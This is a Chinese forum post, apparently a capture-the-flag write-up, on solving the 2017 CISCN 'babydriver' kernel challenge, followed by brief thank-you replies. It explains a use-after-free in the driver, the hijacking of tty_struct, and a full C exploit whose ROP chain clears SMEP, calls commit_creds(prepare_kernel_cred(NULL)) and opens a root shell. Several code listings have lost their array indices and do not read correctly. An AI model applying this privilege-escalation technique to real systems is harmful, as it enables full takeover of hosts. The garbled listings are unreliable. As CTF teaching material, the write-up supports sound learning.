HNHuangJingYU 发表于 2022-4-11 23:05

内核pwn(uaf-tty_struct-babydriver)-解法二

本帖最后由 HNHuangJingYU 于 2022-4-12 09:29 编辑

题目:2017 CISCN babydriver

### 附件文件
![在这里插入图片描述](https://img-blog.csdnimg.cn/005a7aea7af849d4aaf5bf85390c3b5e.png?)



- 给boot.sh加上`-s`调试参数
- 解压`rootfs.cpio`后拿到`./lib/modules/4.4.72/babydriver.ko`漏洞文件
- `vmlinux-to-elf bzImage vmlinux`得到vmlinux内核
- 下面即可分析和编写exp了

### 保护

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gjVT3sSR-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220411211556090.png)\]](https://img-blog.csdnimg.cn/862a397ee2dd4e22bf69196b30d6df52.png?)


### 分析

将`babydriver.ko`放入IDA中进入到babydriver_init模块入口函数,简单分析如下:

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tACQip8y-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220407175802956-9682741.png)\]](https://img-blog.csdnimg.cn/b80f00f10cf648cc85c1810e9626d224.png?)


模块流程核心函数如下:

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rpF0tSaR-1649687448619)(uaf-tty_struct-babydriver.assets/image-20220407191925053-9682741.png)\]](https://img-blog.csdnimg.cn/4e80918b61a14228a866de4a1c78f9bd.png?)


babyopen函数:

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwrnJrfK-1649687448620)(uaf-tty_struct-babydriver.assets/image-20220407222610082.png)\]](https://img-blog.csdnimg.cn/7ef2b59853f4415a80a744999f3e348a.png?)


可以注意到参数分别是`struct inode *inode, struct file *filp`

`inode`结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。

`file`结构代表一个*打开的文件*。(它不特定于设备驱动程序;系统中每个打开的文件在`struct file`内核空间中都有一个关联。)直到最后一个*close*。在文件的所有实例都关闭后,内核释放数据结构

babyread:
![在这里插入图片描述](https://img-blog.csdnimg.cn/f300b2eb62404e8882064276271e6dc9.png?)


babywrite:
![在这里插入图片描述](https://img-blog.csdnimg.cn/ce79e926d5574d7791b02a4453cdf586.png?)



babyioctl:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NECKZ5v7-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407223230395.png)\]](https://img-blog.csdnimg.cn/bad58495afa149c29d84f6e3fa53c750.png?)


babyrelease函数:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1JwkFTF-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407194501638.png)\]](https://img-blog.csdnimg.cn/3bc52620f7a0425aa8f01dfc1c98c8ad.png)


综上可知`release函数`存在一个uaf漏洞,`ioctl函数`可以重新分配指定大小的堆块

### 思路

这里利用uaf漏洞劫持`tty_struct`

/dev/ptmx是一种tty设备,tty设备被open的时候,会申请一个空间作为tty_struct定义如下:

```c
struct tty_struct {
      int      magic;//魔数0x00005401   占4byte
      struct kref kref; //0x00000100这个结构体最终指向typedef struct--> int counter; 占4byte
      struct device *dev; //占8byte
      struct tty_driver *driver;//占8byte
      const struct tty_operations *ops;   //目标指针 定义在下面
         int index;

      /* Protects ldisc changes: Lock tty not pty */
      struct ld_semaphore ldisc_sem;
      struct tty_ldisc *ldisc;

      struct mutex atomic_write_lock;
      struct mutex legacy_mutex;
      struct mutex throttle_mutex;
      struct rw_semaphore termios_rwsem;
      struct mutex winsize_mutex;
      spinlock_t ctrl_lock;
      spinlock_t flow_lock;
//........
}
```

`0x005401`就是`tty_struct`结构体的魔数,`struct kref`值为`0x100`,`0xffffffff81a74f80`就是`struct tty_operations`指针

`struct tty_operations`结构体存了许多函数指针,在对此设备进行操作的时候,就会调用这里的函数指针,定义如下:

```c
struct tty_operations {
      struct tty_struct * (*lookup)(struct tty_driver *driver,struct inode *inode, int idx);
      int(*install)(struct tty_driver *driver, struct tty_struct *tty);
      void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
      int(*open)(struct tty_struct * tty, struct file * filp);
      void (*close)(struct tty_struct * tty, struct file * filp);
      void (*shutdown)(struct tty_struct *tty);
      void (*cleanup)(struct tty_struct *tty);
      int(*write)(struct tty_struct * tty,const unsigned char *buf, int count);
      int(*put_char)(struct tty_struct *tty, unsigned char ch);
      void (*flush_chars)(struct tty_struct *tty);
      int(*write_room)(struct tty_struct *tty);
      int(*chars_in_buffer)(struct tty_struct *tty);
      int(*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
      long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
      void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
      void (*throttle)(struct tty_struct * tty);
      void (*unthrottle)(struct tty_struct * tty);
      void (*stop)(struct tty_struct *tty);
      void (*start)(struct tty_struct *tty);
//。。。。。。
};
```

具体指令对应着相应的函数段,此时第八个指针也就是`write函数的指针 -> 0x38处`将它修改为ROP,在调用`/dev/ptmx进程的write`函数时即可进入ROP劫持程序执行流

首先就是常见的保存用户态环境,分别是`cs、ss、sp、eflags`寄存器将它们保存进全局变量便于后面取出,然后就是造成uaf劫持到`tty_struct`

```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>

#define TTY_STRUCT_SIZE0x2e0//gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420

size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte

void staveStatus(){
    asm(
      "mov %cs , user_cs;"//cs寄存器只能通过mov保存
      "mov %ss , user_ss;"
      "mov %rsp, user_sp;"
      "pushf;"
      "pop user_flags;"
      );
}
int main(){
    staveStatus();
    int fd1 = open("/dev/babydev",O_RDWR);// alloc
    int fd2 = open("/dev/babydev",O_RDWR);// alloc
    ioctl(fd1,0x10001,TTY_STRUCT_SIZE);//realloc#TTY_STRUCT_SIZE这个值可以通过gdb调试时 p sizeof(struct tty_struct)得到,必须要有符号表!
    close(fd1);   //free
    int tty_fd = open("/dev/ptmx",O_RDWR);   //uaf
}
```

断点在`babywrite`处在`mov filp, cs:babydev_struct.device_buf`后记录`rdi`的值(文件fd值),然后也就是单步调试到`call _copy_from_user`后面查看`rdi`的值如图:

可以看到已经成功拿到了`tty_struct`结构它的`magic`就是`0x5401`

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jpnMOJRl-1649687448623)(uaf-tty_struct-babydriver.assets/image-20220411213104306.png)\]](https://img-blog.csdnimg.cn/6e37196f324e429fb7d8bc5edef61563.png?)


我们知道`tty_struct`结构的第4个参数是`tty_operations`指针那么就可以在这里写入我们伪造的`fake_tty_operations`了

将fd2的数据复制到我们的`fake_tty_struct`结构中,也可以手动设置数据,这里为了方便

```c
size_t fake_tty_struct;
size_t fake_tty_operations;

read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct = &fake_tty_operations;//修改tty_operations指向我们的fake_tty_operations

write(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //写入伪造的fake_tty_struct
write(tty_fd,"",1); //执行fake_tty_operations --> write
```

这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)

所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行

```c
                size_t fake_tty_struct;
    size_t fake_tty_operations;
    size_t rop;
    int i = 0;
    rop = POP_RDI;
    rop = 0x6f0;
    rop = MOV_CR4_RDI;//mov cr4, rdi /使得cr4 = 0x6f0
    rop = 0;//pop rbp
    rop = &getRoot; //ret
    rop = SWAPGS; #切换
    rop = 0;
    rop = &intoUserStatus;

    memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
    fake_tty_operations = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
    fake_tty_operations = POP_RAX; //将下面rop的代码地址放入rax
    fake_tty_operations = &rop;
    fake_tty_operations = MOV_RSP_RAX; //执行rop流程
   
    read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
    fake_tty_struct = &fake_tty_operations;

    write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
    write(tty_fd,"",1);
```

然后就是一些跳来跳去的gadget链,这里提权采用`commit_creds(prepare_kernel_cred(NULL))`方式进行提取权限和一些标准的提权流程

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cIzJS83E-1649687448624)(uaf-tty_struct-babydriver.assets/image-20220411215012307.png)\]](https://img-blog.csdnimg.cn/31bcd4a510c443d080b34354cc462550.png?)


### 完整exp

```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>

#define TTY_STRUCT_SIZE0x2e0//gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420


size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte

void staveStatus(){
    asm(
      "mov %cs , user_cs;"//cs寄存器只能通过mov保存
      "mov %ss , user_ss;"
      "mov %rsp, user_sp;"
      "pushf;"
      "pop user_flags;"
      );
}

void getRoot(){
    char* ((*pkc) (int)) = prepare_kernel_cred;
    void ((*cc)(char*))= commit_creds;
    (*cc)((*pkc)(NULL));//commit_creds(prepare_kernel_cred(NULL))
}

void getShell(){
execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
    asm(
      "push %0;"
      "push %1;"
      "push %2;"
      "push %3;"
      "push %4;"
      "iretq;"
      :
      : "r"(user_ss),"r"(user_sp) ,"r"(user_flags) ,"r"(user_cs), "r"(&getShell)
      );
    //rop = IRETQ;//这里发现gadget 中没有这个指令 所以手写asm
}
int main(){
    staveStatus();
    int fd1 = open("/dev/babydev",O_RDWR);// alloc
    int fd2 = open("/dev/babydev",O_RDWR);// alloc
    ioctl(fd1,0x10001,TTY_STRUCT_SIZE);//realloc
    close(fd1);   //free
    int tty_fd = open("/dev/ptmx",O_RDWR);   //uaf


    size_t fake_tty_struct;
    size_t fake_tty_operations;
    size_t rop;
    int i = 0;
    rop = POP_RDI;
    rop = 0x6f0;
    rop = MOV_CR4_RDI;//mov cr4, rdi /使得cr4 = 0x6f0
    rop = 0;//pop rbp
    rop = &getRoot; //ret
    rop = SWAPGS;
    rop = 0;
    rop = &intoUserStatus;

    memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
    fake_tty_operations = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
    fake_tty_operations = POP_RAX; //将下面rop的代码地址放入rax
    fake_tty_operations = &rop;
    fake_tty_operations = MOV_RSP_RAX; //执行rop流程
    //mov_rsp_rax -> pop_rax -> mov_rsp_rax -> rop
    //这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
    //所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行

    read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
    fake_tty_struct = &fake_tty_operations;

    write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
    write(tty_fd,"",1);

    return 0;
}
```

### 成功获取root权限

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Hw2ptSZ-1649687448625)(uaf-tty_struct-babydriver.assets/image-20220411215316660.png)\]](https://img-blog.csdnimg.cn/dce2325ca2084b86898c701ddb7408ed.png?)

atxz 发表于 2022-4-12 07:25

感谢分享

ljt0606 发表于 2022-4-12 09:15

感谢楼主无私分享,万分感谢~~~

happyBread 发表于 2022-4-13 00:02

谢谢,学习了

gd2020 发表于 2022-4-13 11:38

谢谢,学习了..

luoye1997 发表于 2022-4-13 22:15

感谢大佬
页: [1]
查看完整版本: 内核pwn(uaf-tty_struct-babydriver)-解法二